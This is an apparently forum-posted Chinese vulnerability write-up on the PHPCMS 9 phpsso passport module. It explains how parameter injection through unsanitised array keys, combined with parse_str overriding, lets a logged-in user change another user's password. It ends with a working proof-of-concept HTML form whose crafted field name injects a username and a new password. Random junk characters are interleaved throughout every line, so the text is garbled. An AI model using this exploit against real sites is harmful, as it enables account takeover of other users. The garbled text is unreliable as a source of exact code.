提到的通行证的代码:3 X( f \8 b/ h2 `6 Y
/ Z Z& q- A# G! I8 Z( B, {6 I
- ~4 n% P! h2 O h9 C, Iparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
) R0 ~7 q6 T& R. d
" {' X8 Z0 m }3 l; @在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。6 U( l8 ?+ H: L( Q
$ l! g; ^4 Q- F0 g
我把它留给了你们。
, A3 |. x2 C; T/ S9 O# \不知道你们发现了它没有。& E: p; W7 l, o6 A' h
6 w6 v) \; K0 E7 U我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
" ?! ?1 F8 o* v0 l& z; C5 t
: E6 F8 E7 E; n" f8 l所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。$ z& z7 |3 y# X6 ?
- J) B; ^8 F; t" u; e
也就是
- O$ W; Z0 m1 N& }" I8 x) ?+ j: |. x% t* S9 m+ W
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
& |9 {: Z1 x/ ~9 X. Y/ F+ F6 [% P8 _+ ]: ]: H7 M) j8 f/ w
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。6 u& F# i1 r" J5 c" t W( U5 G, B
) ~; V* }6 b9 F" s
2 N, T% _1 r1 o* o4 o其实我们有这样的机会,看看代码,如下:
$ c1 P& i. y# H; V: ]$ v7 v% u
! k( L/ s m( h, U% Z& u& v1 C
0 Q/ N+ I V0 H' Z: [9 c7 L: mpublic function auth_data($data) {2 H0 H& h# w& i/ ]+ _
$s = $sep = '';$ G. }& y$ o; Y6 g1 j
foreach($data as $k => $v) {+ p$ t4 Q+ B/ B
if(is_array($v)) {9 _0 L( c: H' b/ E
$s2 = $sep2 = '';2 `5 H) g" t2 N- W
foreach($v as $k2 => $v2) {4 U5 q) T k3 Q' J7 J" m" h
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);* K; c8 ^$ e/ p
$sep2 = '&';
/ O9 s* ]4 N! @: ~# I8 L3 i% j9 M3 b }
4 v+ y/ B9 v; N! R3 a. K2 A0 Y7 ~ $s .= $sep.$s2;5 }) }- z" J0 W% ~
} else {
7 M8 `+ K* h7 }5 a! V- |% [ $s .= "$sep$k=".$this->_ps_stripslashes($v);
?6 E4 M5 w3 j( q }2 t/ R9 N; q3 E4 R: X+ X) i
$sep = '&';# ] a: I7 c$ c) O9 y" S8 F3 d
}
; h# b. E3 m; H% C( h" y, M9 }+ G. I; T1 O* }
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));5 K' A3 \3 J R4 L' t E
return $auth_s;+ z m$ N1 V: I5 e Z" u2 F
}- `' W, y! B4 c* W- L# ^4 d
- Y, c* v6 y. t5 ^( H可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
/ I1 b5 i9 c- a/ _6 f4 y: f4 H1 D2 Z ^$ F( X" D6 H1 G2 P
举个例子* T4 d+ {" z/ U/ L: E3 H
7 g: {1 y/ v/ L2 S# \- L; O( V$a[aaa=a&bbb] = 'a';3 A8 R- O4 H" L9 ?* M
2 `2 u# H7 }& l9 [0 K, A6 b会变成aaa=a&bbb=a
: a3 E1 p* l" \, G9 j0 r- r) R& p# N; w/ [, ^: P' i
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
! S' l& J& d/ r! h/ J, ^. {- ^: `
) }" a% ^$ Y; p& a这个时候,我们可以再去看一个函数。
d S! {* J# F: Q1 r* y9 @( s) [- c4 m# G4 j1 N6 f
就在这个文件内:
) w$ j2 a% ~( U6 o- E7 x0 d9 g- b/ p! ~; y$ k3 }
\) o; P. v) |! b
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
! d% F/ @. b, w. j) e if($email && !$this->_is_email($email)) {" k. Q5 ?, f& D' [
return -4;
/ V8 u+ b+ b) B. }! ] }& K2 C& c2 l' C
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
6 M) r, V. d- W! V* `: l+ g; P8 E }
; l E I; r0 V& {/ S
& ]5 I4 l, [# m$ W5 o% h这是向通行证发了这样一个请求。
+ V" U% D* X+ `" b
" y+ k7 T# a& \* Q! f我们再跟到通信证代码里去看看,就会有所发现。; B* f5 k6 L s& `1 ]
. \9 F0 @6 [+ k) D/ W7 ~: Y3 i, a" ~0 Q P& ?( N3 U0 [
public function edit() {
/ Q7 m- U3 _3 a0 ^: d1 g% H2 i0 R//能省就省,太长了不是吗?
2 r' i0 D( L1 l4 T) g2 j& e7 y1 E7 S$ f' i4 N* j
if($this->username) {
4 R0 p9 Q( k6 u+ l8 {( H; T) _//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
( o8 t7 Q, o( g4 C2 E! }5 e $res = $this->db->update($data, array('username'=>$this->username));
2 K) J* X ?- b, A; P5 c9 M- P } else {
- U5 X9 f8 E) D$ ~ file_put_contents('typeb.txt',print_r($data,1).$this->uid);
+ k5 R* \1 o( p6 e& D7 m) c. m$ M $res = $this->db->update($data, array('uid'=>$this->uid)); d1 V& n& x* O
}
- e( W# E$ ?+ o9 w: C7 Y9 S% C' d4 N8 w
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
0 _( _& r% {* y) X5 |. s( m c+ p! A* e: S
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')3 o" \7 W% c' X/ q! D7 G
! o2 _0 y5 g$ u" A# A/ Y2 s很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。7 [' o( n G& c2 q# W# }
" Z4 h4 V/ I5 z1 l0 r: w f我当然找到了:+ D V" W( e' H, \) d
phpcms9/phpcms/modules/member/index.php
+ n2 u% K$ ~6 o8 _/ s3 \7 A
6 M5 s+ v) m9 j) E7 T; p$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
% [; u m3 g9 I
+ \* c" B$ v! C然后就没有然后了。6 L. E" _5 G$ L* ^ x
l1 u4 w" m. _6 i$ V, ^" r
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">- m6 u* a5 U7 N# P$ Z( ~
<table width="100%" cellspacing="0" class="table_form">
, ? R. a2 v* Z9 J% [7 [/ H# y <tr>
# ~5 L/ q5 ^4 c$ n <th width="80">邮箱:</th> , x9 i$ n% T# [" A
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
% H* C: b8 Y) v! @) F </tr>
0 c5 d6 u( x2 S1 V& d4 H N6 K3 W a <tr>* t% \5 t! p( h0 L
<th width="80">原密码:</th> , D6 U1 Z3 n" v) i: K' U8 M7 F0 H7 O
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
F8 f* |# G9 I* O7 O, J </tr># N' J0 T& o% e
<tr>* T2 r4 b) \) j$ W1 c7 S! T
<th>新密码:</th>
9 K4 v- k9 q& J( w8 i5 ` <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>4 ^7 |% N; Y8 p9 T6 F
</tr>
. P- X/ t2 r6 T( G <th></th>
Z* u7 R8 @( g( Y <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>- o, }! Z) Z6 g; x/ w
</tr>
+ G2 i+ ^, ]' F( E1 [ </table>3 g6 u4 u9 p& U' n/ d
- W* y2 ?* I% `
2 V& P% W+ ?: B
</form>
1 c* c/ R" [& c5 n7 M7 B9 N" d |